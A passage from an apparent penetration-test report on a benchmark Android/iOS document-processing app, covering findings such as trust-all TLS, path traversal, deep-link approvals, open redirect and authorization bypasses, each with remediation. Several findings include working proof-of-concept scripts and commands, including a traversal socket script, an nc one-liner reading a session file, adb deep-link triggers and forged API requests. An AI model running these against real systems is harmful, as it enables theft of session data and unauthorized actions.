Implement the following measures to eliminate this vulnerability:

- Generate a cryptographically strong per-login `state` value when SSO is initiated, store it in app memory/session storage, and bind it to the pending OAuth transaction.
- In `MainActivity` callback handling, require both `code` and `state`; reject missing or mismatched state before any network exchange, and clear state after successful or failed completion to prevent replay.
- Implement PKCE (`code_verifier` / `code_challenge`) for the mobile OAuth flow and require verifier validation at token exchange to bind issued codes to the initiating client transaction.
- Constrain deep-link exposure by tightening intent filters (specific host/path) and preferring verified Android App Links for trusted callback origins where possible.
- Add regression tests for callback acceptance rules (missing state, mismatched state, replayed code, unsolicited callback) and alerting for abrupt role/session transitions after deep-link events.

References

CVSS 8.4: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:L/SI:H/SA:N

CWE-352: Cross-Site Request Forgery (CSRF)

2.3.7 PT-7 - TLS certificate and hostname validation are disabled in ApiClient

High

Identified on: October 30th 2026

Description

The HTTPS client configures a custom `X509TrustManager` with empty `checkClientTrusted` and `checkServerTrusted` methods, then installs a hostname verifier that always returns `true`. This disables certificate-chain and hostname validation for TLS connections, allowing network attackers to impersonate backend endpoints and intercept or modify app traffic. Authenticated API requests and bearer tokens can be exposed under active man-in-the-middle conditions.

Business Impact

Backend trust guarantees are removed, so confidentiality and integrity of API traffic cannot be relied upon even when HTTPS URLs are used. Sensitive business data processed by the app, OCR-related content, and session-bound API activity can be exposed or tampered with during transport. Because bearer authorization headers are attached by the same client flow, successful interception can also enable token theft and downstream account/session abuse against backend services. This increases the potential blast radius from passive data leakage to active unauthorized actions. Exploitation likelihood is moderate to high in environments where attackers can influence network paths (public networks, enterprise interception proxies, compromised local infrastructure). From a compliance perspective, interception of personal or operational data in transit may create reportable exposure under privacy and security obligations.

How to Exploit

Step 1: Open `app/src/main/java/ch/aikido/docprocessor/ApiClient.java` and inspect the TLS setup inside `transport(...)` for HTTPS connections.

Step 2: In the same method, verify that hostname validation is bypassed with an always-true verifier.

Step 3: Confirm that authenticated requests in this flow attach bearer tokens, demonstrating impact if interception occurs.

Remediation

Implement the following measures to eliminate this vulnerability:

- Remove the custom trust-all `X509TrustManager` and always-true hostname verifier from `ApiClient` so default platform certificate and hostname validation are enforced.
- Use the default `HttpsURLConnection` trust behavior, or if customization is required, implement strict certificate-chain and hostname checks with failure on validation errors.
- If backend trust hardening is needed, implement certificate/public-key pinning using Android Network Security Config or a vetted pinning library, with a documented rotation process.
- Restrict any debug-only interception behavior behind non-production build gates and ensure it is excluded from release builds.
- Add automated security tests/static checks that fail builds when empty trust-manager methods or permissive hostname verifiers are introduced.

References

CVSS 7.6: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N

CWE-295: Improper Certificate Validation

2.3.8 PT-8 - Path traversal in Android LocalTransferServer exposes app-private files over HTTP

High

Identified on: October 30th 2026

Description

A path traversal was validated in the Android local transfer HTTP server because request paths are joined to TransferRoot without canonical path containment checks. Requests containing `../` segments were accepted and returned files outside the intended directory, including `/data/user/0/ch.aikido.docprocessor/shared_prefs/dp.session.xml` with session-related data. This enables unauthorized disclosure of sensitive app-private data to an attacker that can reach port 18080 on the device.

Business Impact

Sensitive application data can be disclosed from app-private storage, including session artifacts that may enable account/session misuse. Exposure of tokens and user metadata can undermine confidentiality and may enable further authenticated abuse of backend functionality if leaked values remain valid. The attack path is practical because the service listens on a predictable port and serves requests without authentication once started. A malicious local app, connected host with debugging access, or other actor able to reach the listener can repeatedly request sensitive files using traversal sequences. This creates material data-protection risk because private user/session information can be extracted outside intended controls. Depending on deployment and data content, this may trigger incident reporting, contractual breach obligations, and regulatory scrutiny related to unauthorized access to personal or authentication data.

How to Exploit

Step 1: Create a benign HTML file on the device so the app's preview/import flow can be triggered.

```
adb shell "mkdir -p /sdcard/Download && cat > /sdcard/Download/poc.html <<'EOF'
<html><body>poc</body></html>
EOF
ls -l /sdcard/Download/poc.html"
```

Step 2: Sign in as Test user 2, use Import Package in the app, select `/sdcard/Download/poc.html`, and keep the HTML Preview screen open.

Step 3: Verify the local listener is running and forward emulator port 18080 to the host.

```
adb shell "ss -ltnp | grep 18080 || netstat -ltnp | grep 18080 || echo no-listener"
adb forward tcp:18080 tcp:18080
```

Step 4: Send baseline and traversal requests to the forwarded local HTTP service.

```
import socket

paths=[
  "/",
  "/index.html",
  "/../../../../../../../../data/user/0/ch.aikido.docprocessor/shared_prefs/dp.session.xml",
  "/..%2f..%2f..%2f..%2f..%2f..%2f..%2fdata/user/0/ch.aikido.docprocessor/shared_prefs/dp.session.xml",
  "/../../../../../../../../data/user/0/ch.aikido.docprocessor/shared_prefs/com.google.firebase.crashlytics.xml"
]

def req(path):
  s=socket.socket(); s.settimeout(8); s.connect(("127.0.0.1",18080))
  s.sendall(f"GET {path} HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n".encode())
  data=b""
  while True:
    try:
      d=s.recv(65535)
    except socket.timeout:
      break
    if not d:
      break
    data+=d
  s.close()
  txt=data.decode("utf-8","replace")
  head,_,body=txt.partition("\r\n\r\n")
```

```
    status=head.splitlines()[0] if head else "NO_STATUS"
    print("PATH:", path)
    print("STATUS:", status)
    print("BODY_LEN:", len(body))
    print("BODY_PREVIEW:", body[:300].replace("\n","\\n"))
    print("-"*80)

for p in paths:
    try:
        req(p)
    except Exception as e:
        print("PATH:",p)
        print("ERROR:",repr(e))
        print("-"*80)
```

Step 5: Confirm with a single raw HTTP request from a separate shell context that traversal returns app-private data.

```
adb shell "(echo -ne 'GET /../../../../../../../../data/user/0/ch.aikido.docprocessor/shared_prefs/dp.session.xml HTTP/1.1\r\nHost: localhost\r\nConnectio
n: close\r\n\r\n'; sleep 1) | nc 127.0.0.1 18080 | head -n 12"
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Canonicalize and validate all requested paths before access: resolve `transferRoot` and requested file with `getCanonicalFile()` (or equivalent) and reject any request whose canonical path does not start with the canonical `transferRoot` plus separator.
- Normalize and strictly reject traversal tokens and encoded traversal forms (`..`, `%2e`, mixed encodings) before filesystem operations; fail closed on parse/validation errors.
- Apply the same containment checks to all filesystem endpoints, including `/move`, and reject absolute paths or parent-directory references in both source and destination parameters.
- Restrict listener exposure by binding only to loopback where possible and require an unguessable per-session authorization token for all local HTTP requests.
- Reduce blast radius of disclosure by avoiding long-lived sensitive session material in plaintext preferences and rotating/revoking tokens if file disclosure is detected.
- Add regression tests for traversal payloads (plain and encoded) to ensure requests outside `TransferRoot` always return an error.

References

CVSS 6: CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

2.3.9 PT-9 - Restricted-document OCR data is retrievable via /v1/ocr without unlock enforcement

Medium

Identified on: October 30th 2026

Description

Restricted documents are shown as locked in the client UI, but full OCR text remains accessible through POST /v1/ocr when a valid session token is present. The endpoint returns sensitive fields (for example SSN and account number) without enforcing the restricted-unlock state. This enables bypass of the intended restricted-content protection over HTTP API calls.

Business Impact

The issue allows confidential OCR data to be extracted even when users are shown that restricted content is locked in the application interface. This weakens trust in the product's access model and can expose regulated or contractual data elements (such as government identifiers and financial account data) to unintended viewers who can invoke API calls with a valid session. Likelihood is elevated because the required identifier is obtainable during normal document access flows and the endpoint accepts a standard authenticated token without additional unlock proof. No advanced exploit primitives are required beyond session reuse and a single API request. If restricted documents contain personal or financial information, the behavior may create compliance exposure under privacy and data-protection obligations, and may increase incident-response scope due to unauthorized data disclosure outside the intended unlock control.

How to Exploit

Step 1: Sign in to the iOS app as Test user 2, open the document titled Service Agreement, and do not press Unlock with Face ID.

Step 2: Inspect the document detail response for that document in captured app traffic to confirm it is marked restricted and to obtain its contentHash.

Step 3: Submit a direct OCR request with the same authenticated session token and the restricted document contentHash.

```
import requests, json
base='https://api-doc-processor-ios.aikido-benchmarks.apagnan.ch'
token='<ACCESS_TOKEN>'
url=base+'/v1/ocr'
resp=requests.post(url,headers={'Authorization':f'Bearer {token}','Content-Type':'application/json'},json={'contentHash':'hash_contract_002'},timeout=20)
print('status',resp.status_code)
print('url',url)
print('body',resp.text)
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Enforce restricted-document authorization in `POST /v1/ocr` by resolving `contentHash` to its owning document and denying OCR release unless the caller is authorized and has satisfied restricted-unlock requirements server-side.
- Introduce a server-issued, short-lived step-up token (created only after successful biometric/step-up verification) and require it on OCR access for restricted content.
- Avoid treating UI state as a security control. Keep UI masking, but make backend authorization the source of truth for restricted-content release.
- Reduce identifier abuse by avoiding direct trust in client-supplied `contentHash`; prefer document ID plus server-side lookup and policy checks.
- Add automated authorization tests that assert restricted OCR requests fail when unlock state is absent, including regression tests for both app and direct API traffic.

References

CVSS 7.1: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CWE-285: Improper Authorization

2.3.10 PT-10 - Exported docprocessor deep-link can trigger unauthorized document approvals in active sessions

Medium

Identified on: October 30th 2026

Description

The exported MainActivity deep-link router accepts docprocessor://approve?id=... and immediately calls the authenticated approve API without origin validation or user confirmation. This was validated by triggering the deep link externally and observing a backend POST to /v1/documents/{id}/approve that changed the document status from assigned to approved. As a result, third-party apps or links can perform unauthorized state-changing actions in a signed-in user context.

Business Impact

Document approval is a workflow-integrity action, so unauthorized approvals can alter business records, bypass review controls, and create false audit trails. A malicious app or crafted link can cause approvals without the user's intent, which undermines trust in the approval process and can lead to downstream operational and legal disputes. Exploitation likelihood is moderate to high because the attack requires only that a target user is signed in and can be induced to open a link or interact with another app on the same device. No privileged device access is required, and the exploit path is a single deep-link invocation. If approved states are used for governance, finance, or compliance workflows, unauthorized transitions can produce control failures and inaccurate evidence for internal or external audits. This can create regulatory exposure where approval provenance and segregation-of-duties are required.

How to Exploit

Step 1: Sign in to the Android app as Test user 2 and ensure the session is active on the Inbox screen.

Step 2: Capture a baseline document list request from device HTTP(S) traffic and confirm the target document is not yet approved.

```
GET /v1/documents HTTP/1.1
Host: api-doc-processor-ios.aikido-benchmarks.apagnan.ch
Accept: application/json
Authorization: Bearer <redacted>
```

Step 3: From outside the app, trigger the deep link that requests approval for the target document.

```
adb shell am start -W -a android.intent.action.VIEW -d 'docprocessor://approve?id=doc_notice_005' -n ch.aikido.docprocessor/.MainActivity
```

Step 4: Observe the app-generated authenticated state-changing request emitted immediately after the deep link is delivered.

```
POST /v1/documents/doc_notice_005/approve HTTP/1.1
Host: api-doc-processor-ios.aikido-benchmarks.apagnan.ch
Accept: application/json
Authorization: Bearer <redacted>
Content-Type: application/json
Content-Length: 2

{}
```

Step 5: Capture the document list again and verify the same document now appears as approved.

```
GET /v1/documents HTTP/1.1
Host: api-doc-processor-ios.aikido-benchmarks.apagnan.ch
Accept: application/json
Authorization: Bearer <redacted>
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Remove direct state-changing operations from implicit deep-link routes. Deep links should navigate to a review screen, not execute approval immediately.
- Require an explicit user confirmation step (for example, confirmation dialog plus recent-auth check) before any approval API call is sent.
- Constrain deep-link trust boundaries by using verified Android App Links for trusted domains and rejecting sensitive commands delivered through custom-scheme links.
- Bind approval actions to short-lived, server-issued action tokens that are scoped to user, document, and intent, and validate those tokens server-side before approving.
- Add defense-in-depth server checks for approval eligibility and log deep-link-originated approvals with high-fidelity audit metadata for detection and incident response.

References

CVSS 6.3: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:H/SA:N

CWE-926: Improper Export of Android Application Components

2.3.11 PT-11 - Restricted document preview bypass exposes plaintext before unlock

Medium

Identified on: October 30th 2026

Description

Restricted document content was exposed in plaintext through the HTML preview flow before local unlock was completed. The document-detail response included `restricted: true` together with sensitive `bodyPreview` text, and the preview renderer interpolated that text directly into HTML without enforcing unlock state. This allowed confidential preview content to be read without the intended protection step.

Business Impact

Confidential document data can be disclosed to authenticated users or malware operating in an authenticated session without completing the intended biometric protection step. This weakens the trust boundary between ordinary signed-in access and restricted-content access, and undermines a control that users and administrators may rely on for sensitive workflows. The likelihood of exploitation is moderate to high because the behavior is deterministic and requires no complex chaining: opening the restricted document and preview is sufficient. The impact includes unauthorized exposure of internal or confidential text (for example, contract terms), which can contribute to data leakage incidents, internal policy violations, and audit findings where step-up or strong re-authentication is expected for protected content.

How to Exploit

Step 1: Sign in to the iOS app as Test user 2, open the restricted document Service Agreement, and do not complete biometric unlock. Observe the Extracted text panel.

Step 2: While still locked, tap Open HTML Preview on the same document.

Step 3: Replay the document-detail request from the same authenticated session and inspect the response payload for the restricted document.

```
GET /v1/documents/doc_contract_002 HTTP/1.1
Host: ios.lorte.software
accept: */*
authorization: Bearer <ACCESS_TOKEN>
accept-encoding: gzip, deflate, br
user-agent: DocumentProcessor/1 CFNetwork/3860.600.12 Darwin/25.5.0
priority: u=3
accept-language: en-US,en;q=0.9
```

Step 4: Confirm the server-side behavior by issuing the same request directly to the API host with the active bearer token from the authenticated session.

```
import requests, json

token='<ACCESS_TOKEN>'
headers={'Authorization':'Bearer '+token,'Accept':'application/json'}
for base in ['https://api-doc-processor-ios.aikido-benchmarks.apagnan.ch','https://ios.lorte.software']:
  try:
    r=requests.get(base+'/v1/documents/doc_contract_002',headers=headers,timeout=20)
    print('\nBASE',base)
    print('STATUS',r.status_code)
    print(r.text[:500])
  except Exception as e:
    print('\nBASE',base,'ERROR',e)
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Enforce server-side authorization for restricted previews: when `doc.restricted` is true, omit or redact `bodyPreview` unless a validated step-up/unlock proof is presented and verified server-side.
- Split response models so restricted and unrestricted documents cannot share a single serializer that always returns preview text. Implement explicit allowlists for fields returned in restricted contexts.

- Apply a uniform client-side gate for all restricted content paths, including `openBundledPreview`, and block preview rendering until unlock state is satisfied.
- Avoid persisting restricted plaintext (`bodyPreview`) to offline/cache stores before unlock, or encrypt it with keys released only after successful local authentication.
- Add automated security tests that assert restricted documents never return plaintext preview fields without unlock authorization, and that UI components consistently enforce the same access policy.

References

CVSS 5.3: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

CWE-862: Missing Authorization

2.3.12 PT-12 - Global cleartext HTTP traffic is permitted by Android network configuration

Medium

Identified on: October 30th 2026

Description

Cleartext transport is broadly enabled by setting `android:usesCleartextTraffic="true"` on the application and `cleartextTrafficPermitted="true"` in the base network security config. This permits unencrypted HTTP communication without domain scoping, which allows traffic observation or manipulation on hostile networks. The risk is amplified by code paths that reference HTTP endpoints, making plaintext transport practically reachable.

Business Impact

Confidentiality and integrity of mobile traffic are both reduced when cleartext transport is broadly allowed. Session material, document metadata, OCR content, and other sensitive payloads may be exposed in transit if any app flow uses HTTP, creating data leakage and manipulation risk. Even partial interception can degrade trust in document-processing outcomes and user account safety. The likelihood of abuse is moderate because exploitation depends on attacker network position, but that precondition is common in real-world mobile usage (public Wi-Fi, captive portals, compromised local networks). The impact can extend beyond single transactions if modified responses influence local app behavior, cached data, or downstream business actions. From a compliance perspective, permitting plaintext transport can conflict with common mobile security baselines and encryption-in-transit requirements (for example, internal security standards and sectoral privacy obligations). This can increase audit findings and incident-reporting exposure if sensitive data is transmitted without TLS.

How to Exploit

Step 1: Open `Android-DocumentProcessor/app/src/main/AndroidManifest.xml` and inspect the `<application>` attributes for cleartext settings.

Step 2: Open `Android-DocumentProcessor/app/src/main/res/xml/network_security_config.xml` and verify the base policy for cleartext traffic.

Step 3: Review network-related source constants to confirm HTTP destinations exist in app code paths.

Remediation

Implement the following measures to eliminate this vulnerability:

- Set `android:usesCleartextTraffic="false"` on the `<application>` element in `AndroidManifest.xml`.
- Change `res/xml/network_security_config.xml` to deny cleartext by default (`<base-config cleartextTrafficPermitted="false">`).
- If legacy HTTP is temporarily unavoidable, create explicit `<domain-config cleartextTrafficPermitted="true">` exceptions for only required internal hosts, and remove broad base-config allowance.
- Remove or migrate HTTP fallback endpoints (for example `OCR_FALLBACK`) to HTTPS equivalents and enforce TLS-only URL validation in networking code.
- Add Android lint/CI checks to fail builds when `usesCleartextTraffic=true`, base cleartext is enabled, or `http://` endpoints are introduced in production flavors.

References

CVSS 5.3: CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:N

CWE-319: Cleartext Transmission of Sensitive Information

2.3.13 PT-13 - Network security config trusts user-installed certificate authorities

Medium

Identified on: October 30th 2026

Description

The manifest points to a main-source `network_security_config` that defines trust anchors including `<certificates src="user"/>`. This allows user-installed root CAs to be trusted by the app in release-style builds, weakening transport trust boundaries on compromised or managed devices. Attackers who can place a user CA may intercept or re-sign TLS traffic accepted by the app.

Business Impact

If transport trust is broadened to user-installed CAs, sensitive application traffic can become readable or mutable by an adversary who can install a CA certificate on the device. This can affect authentication material, API payloads, and user/business data exchanged over TLS, resulting in confidentiality and integrity impact. The likelihood is environment-dependent: it is lower on well-managed uncompromised consumer devices, but materially higher on compromised devices, malware-affected endpoints, or enterprise-managed fleets where user/profile CAs are commonly deployed. In those contexts, the finding can reduce defense in depth and make interception-based attacks more practical. From a compliance perspective, accepting interception-enabled trust anchors in production can conflict with expectations for secure transmission controls under common privacy and security frameworks, especially where personal or regulated data is processed over network channels.

How to Exploit

Step 1: Open `AndroidManifest.xml` in the main app source set and verify that the application uses a custom network security configuration via `android:networkSecurityConfig="@xml/network_security_config"`.

Step 2: Open `app/src/main/res/xml/network_security_config.xml` and inspect the active base trust anchors.

Step 3: Confirm that `<certificates src="user"/>` is inside `<base-config>`, meaning user-installed CAs are trusted globally for app TLS trust decisions in the main/release-style configuration.

Remediation

Implement the following measures to eliminate this vulnerability:

- Remove `<certificates src="user"/>` from the production trust-anchors and retain only `<certificates src="system"/>` for release builds.
- If user CA trust is required for testing or enterprise scenarios, isolate it into a non-production flavor/manifest overlay (for example debug or dedicated managed variant) and keep release configuration strict.
- Add automated checks in CI (Android lint/static policy) to fail builds when release network security config contains `src="user"` in trust anchors.
- Document certificate trust policy and require security review for any network security config changes affecting trust anchors.

References

CVSS 2.1: CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

CWE-295: Improper Certificate Validation

2.3.14 PT-14 - Open redirect in /idp/authorize via unvalidated redirect_uri

Medium

Identified on: October 30th 2026

Description

An open redirect was validated in the OAuth authorization endpoint because the redirect_uri parameter was accepted without allowlist validation and used directly in the redirect response. Requests to /idp/authorize with client_id=docprocessor-ios and redirect_uri=https://example.com returned HTTP 302 with a Location header pointing to the attacker-controlled domain and appended authorization code/state parameters. This can be used for phishing and OAuth code leakage to attacker-controlled endpoints.

Business Impact

This issue enables convincing phishing flows because links can originate from a trusted application domain and immediately redirect users to attacker-controlled destinations. Such behavior can increase user trust in malicious links and can be chained with social engineering to capture credentials or other sensitive actions. In addition, OAuth authorization codes generated by the endpoint are delivered to attacker-controlled callback URLs when redirect_uri is manipulated. Depending on token exchange controls elsewhere in the flow, this can expose authorization artifacts and weaken the integrity of the authentication process. The likelihood of exploitation is moderate to high because the endpoint is reachable without authentication and exploitation requires only a crafted URL. Although open redirects are commonly scored lower than direct account compromise, this still represents a meaningful business risk for brand trust, abuse prevention, and authentication flow security.

How to Exploit

Step 1: Submit a GET request to the authorization endpoint with client_id set to docprocessor-ios and redirect_uri set to external domains to verify that arbitrary redirect targets are accepted.

```
import requests, urllib.parse, re
base='https://api-doc-processor-ios.aikido-benchmarks.apagnan.ch/idp/authorize'

tests=[
  ('https://example.com/callback','state123'),
  ('https://example.com','abc'),
  ('https://attacker.invalid/path','zz')
]
for redirect_uri,state in tests:
  params={
    'client_id':'docprocessor-ios',
    'redirect_uri':redirect_uri,
    'state':state,
  }
  url=base+'?'+urllib.parse.urlencode(params)
  print('\n===',redirect_uri,'===')
  r=requests.get(url,allow_redirects=False,timeout=20)
  print('status:',r.status_code)
  print('location:',r.headers.get('Location'))
  if r.headers.get('Location'):
    q=urllib.parse.urlparse(r.headers['Location']).query
    qp=urllib.parse.parse_qs(q)
    print('has_code:', 'code' in qp, 'state:', qp.get('state'))
```

Step 2: Send a final single proof request and inspect the redirect response headers to confirm the Location value is attacker-controlled and includes code and state.

```
import requests
url='https://api-doc-processor-ios.aikido-benchmarks.apagnan.ch/idp/authorize?client_id=docprocessor-ios&redirect_uri=https%3A%2F%2Fexample.com%2Fcb&state=finalproof'
r=requests.get(url,allow_redirects=False,timeout=20)
print('STATUS',r.status_code)
print('HEADERS')
for k,v in r.headers.items():
  print(f'{k}: {v}')
print('BODY',r.text[:200])
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Implement strict per-client redirect URI allowlisting for /idp/authorize, matching scheme, host, port, and path exactly against registered callback URLs.
- Reject any request where redirect_uri is missing, malformed, or not an exact match for the requesting client_id; return a controlled error instead of redirecting.
- Bind authorization codes to both client_id and the validated redirect_uri, and enforce that same redirect_uri again during token exchange.
- Consider using hardened OAuth validation libraries/components to centralize callback URI validation and avoid custom parsing logic.
- Add security tests for negative redirect_uri cases (external domains, subdomain tricks, mixed encoding) in CI to prevent regression.

References

CVSS 6.9: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

CWE-601: URL Redirection to Untrusted Site ('Open Redirect')

2.3.15 PT-15 - Sensitive app data can be extracted via Android backup

Low

Identified on: October 30th 2026

Description

Android backup is explicitly enabled with `android:allowBackup="true"` on the application manifest, while no `fullBackupContent` or `dataExtractionRules` exclusions are configured. Sensitive session artifacts are persisted in SharedPreferences (`dp.session.accessToken`, `dp.session.refreshToken`) and document content is written under internal files/cache, so these values can be included in device backups. This can expose authenticated session material and processed document data when backups are accessed.

Business Impact

Exposure of access and refresh tokens can enable session hijacking against backend APIs, allowing unauthorized access as the affected user until token revocation/expiry occurs. Exposure of cached/offline document artifacts can also disclose sensitive business content processed by the application. The impact includes confidentiality loss for both account/session data and document data, with potential downstream effects such as unauthorized actions, account misuse, and incident response costs. Because the issue is configuration-driven and the data is explicitly persisted, risk is systematic across installs where backups can be accessed. Depending on the nature of processed documents and user profile data, this may create regulatory and contractual exposure (for example, data protection obligations around secure storage and minimization). Even when exploit preconditions require device or backup access, the presence of reusable authentication artifacts materially increases business risk.

How to Exploit

Step 1: Open `AndroidManifest.xml` and verify the `<application>` backup configuration. Confirm that `android:allowBackup` is enabled and that no `android:fullBackupContent` or `android:dataExtractionRules` attributes are present.

Step 2: Inspect `app/src/main/res/xml/` for backup exclusion definitions. Verify that no backup policy files such as `backup_rules.xml` or `data_extraction_rules.xml` are present.

Step 3: Review local persistence code paths for sensitive data. Confirm that session tokens are stored in SharedPreferences and that document/OCR data is written to internal cache/files directories.

Remediation

Implement the following measures to eliminate this vulnerability:

- Disable backups for the app if business requirements do not require restore support (`android:allowBackup="false"`).
- If backups must remain enabled, define strict `android:dataExtractionRules` (and `android:fullBackupContent` for compatibility) to exclude sensitive stores such as `dp.session` preferences and document cache/offline files.
- Stop persisting long-lived tokens in plain SharedPreferences; move token handling to stronger storage controls (for example, Keystore-backed mechanisms) and minimize token lifetime.
- Avoid storing full document bodies/OCR text on disk unless required; apply retention limits and delete files immediately after use where feasible.
- Add a release hardening gate in CI to fail builds when backup is enabled without explicit exclusion rules for sensitive data.

References

CVSS 2.1: CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

CWE-530: Exposure of Backup File to an Unauthorized Control Sphere

2.3.16 PT-16 - Unauthenticated analytics endpoint allows forged telemetry injection

Low

Identified on: October 30th 2026

Description

The analytics ingestion endpoint accepts POST requests without authentication and trusts user-identifying fields supplied by the requester. A forged event containing arbitrary email and organization values was accepted with HTTP 200 and persisted as a valid event. This allows external actors to poison telemetry and audit signals by attributing fabricated activity to legitimate users.

Business Impact

Telemetry integrity is undermined because fabricated events can be inserted and attributed to legitimate identities. This can degrade operational dashboards, behavioral analytics, and audit timelines, reducing confidence in monitoring data and potentially obscuring real malicious activity during investigations. The likelihood of exploitation is high because the endpoint is unauthenticated and accepts arbitrary event fields from any remote requester. Attack complexity is low and does not require credentials or specialized access. From a governance perspective, poisoned audit or activity records can create compliance and incident-response complications where organizations rely on logs for attestations, internal controls, or forensic reconstruction.

How to Exploit

Step 1: Submit unauthenticated baseline requests to multiple `/v1` endpoints to confirm that authentication is generally required, then call the analytics endpoint without credentials.

```
import requests
base='https://api-doc-processor-ios.aikido-benchmarks.apagnan.ch'

checks=[
  ('GET','/v1/documents/doc_peer_003',None),
  ('GET','/v1/directory',None),
  ('POST','/v1/exports',{'documentId':'doc_peer_003'}),
  ('POST','/v1/analytics/events',{'events':[{'type':'probe','email':'<FORGED_EMAIL>','organizationId':'<FORGED_ORG>'}]}),
]
for method,path,body in checks:
  if method=='GET':
    r=requests.get(base+path,timeout=20)
  else:
    r=requests.post(base+path,json=body,timeout=20)
  print(method,path,'->',r.status_code,r.text[:200])
```

Step 2: Send a forged analytics event without an `Authorization` header and observe successful acceptance.

```
import requests, json
url='https://api-doc-processor-ios.aikido-benchmarks.apagnan.ch/v1/analytics/events'
payload={
 'events':[
  {
   'type':'document_view',
   'email':'<FORGED_EMAIL>',
   'organizationId':'<FORGED_ORG>',
   'trackingId':'spoofed:<FORGED_EMAIL>:<FORGED_ORG>',
   'meta':{'source':'unauth_probe','note':'forged'}
  }
 ]
}
r=requests.post(url,json=payload,timeout=20)
print('STATUS',r.status_code)
for k,v in r.headers.items():
  if k.lower() in ('content-type','content-length','date','x-powered-by','alt-svc'):
    print(f'{k}: {v}')
print('BODY',r.text)
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Require authentication on `POST /v1/analytics/events` by applying the same auth middleware used for other `/v1/*` endpoints.
- Stop trusting client-provided identity fields for attribution; derive actor and organization context from the authenticated principal or trusted service credentials.
- Define and enforce a strict schema for analytics events (allowlist fields, type checks, size limits), and reject unknown or security-sensitive fields.
- If unauthenticated ingestion is required for product design, enforce signed ingestion keys per producer, rotate keys, and bind events to key-scoped tenant context.
- Add telemetry integrity controls (source tagging, anomaly detection for spoofed identities, and alerting on unauthenticated ingestion attempts).

References

CVSS 6.9: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

CWE-306: Missing Authentication for Critical Function

2.3.17 PT-17 - Cryptographic keys are hardcoded in Android source code

Low

Identified on: October 30th 2026

Description

Static key material is embedded directly in app code, including a hardcoded HMAC secret and AES key in `PackageImporter`. Because these constants ship with the client, they can be recovered from the APK and reused to forge or decrypt package-related data handled by the app. This weakens data authenticity and confidentiality assumptions for the import flow.

Business Impact

Trust in imported package authenticity can be undermined because attackers can generate valid HMAC values once the shared secret is extracted. This may allow unauthorized or tampered package content to appear valid to the app, reducing the reliability of document processing outcomes. Confidentiality of package classification data is also weakened. A recoverable AES key allows decryption of protected fields processed by the import flow, exposing data that may be considered sensitive by business processes. The likelihood of exploitation is moderate to high for motivated attackers because APK reverse engineering is routine and does not require server compromise. Depending on the data handled in imported packages, this can contribute to compliance exposure where confidentiality and integrity controls are expected to be technically enforced rather than obfuscated in client code.

How to Exploit

Step 1: Open `Android-DocumentProcessor/app/src/main/java/ch/aikido/docprocessor/PackageImporter.java` and review the `accepts` method used during package validation.

Step 2: In the same file, review the `decryptClassification` method used for package classification handling.

Step 3: Confirm that package manifest-controlled fields are passed into these cryptographic routines during import processing.

Remediation

Implement the following measures to eliminate this vulnerability:

- Remove reusable symmetric secrets from the Android client and treat all embedded constants as public.
- Move package authenticity decisions to a backend service, or use asymmetric signatures where only a public verification key is present in the app and the private signing key remains server-side.
- If client-side decryption is still required, provision per-device or per-user keys through a secure channel and protect key material with Android Keystore; avoid static shared keys across all installations.
- Rotate and revoke the exposed HMAC/AES keys immediately, and invalidate package artifacts that depended on those keys for trust.
- Add SDLC controls: secret scanning in CI, cryptography design review, and a release gate that blocks hardcoded key patterns in mobile source.

References

CVSS 4.6: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

CWE-321: Use of Hard-coded Cryptographic Key

2.3.18 PT-18 - Certificate about to expire

Low

Identified on: October 30th 2026

Description

The server's TLS certificate is approaching its "Not After" date. If it lapses, every modern browser and API client will replace your site with a blocking security page, causing an immediate outage and trust-destroying headlines. Under pressure to restore service, teams may deploy temporary self-signed or misconfigured certificates, creating a window for attackers to impersonate the site, harvest credentials, inject malicious scripts, or redirect payments before the mistake is spotted. Even before actual expiry, warning banners erode user confidence, while many automated integrations silently fail when a certificate has fewer than 7–14 days of validity left. Third-Party Risk Management platforms heavily penalise near-term expirations, lowering your external security rating and complicating sales, insurance, and compliance audits.

Business Impact

This issue poses an imminent risk of service outages and loss of customer trust.

Affected Endpoint

https://api-doc-processor-ios.aikido-benchmarks.apagnan.ch

Identified Configuration


```
{
  "days_left": "42"
}
```


Remediation

Implement the following measures to eliminate this vulnerability:

- Renew or replace the certificate well before expiration and automate monitoring to prevent future lapses.

2.3.19 PT-19 - Weak TLS cipher suites accepted

Low

Identified on: October 30th 2026

Description

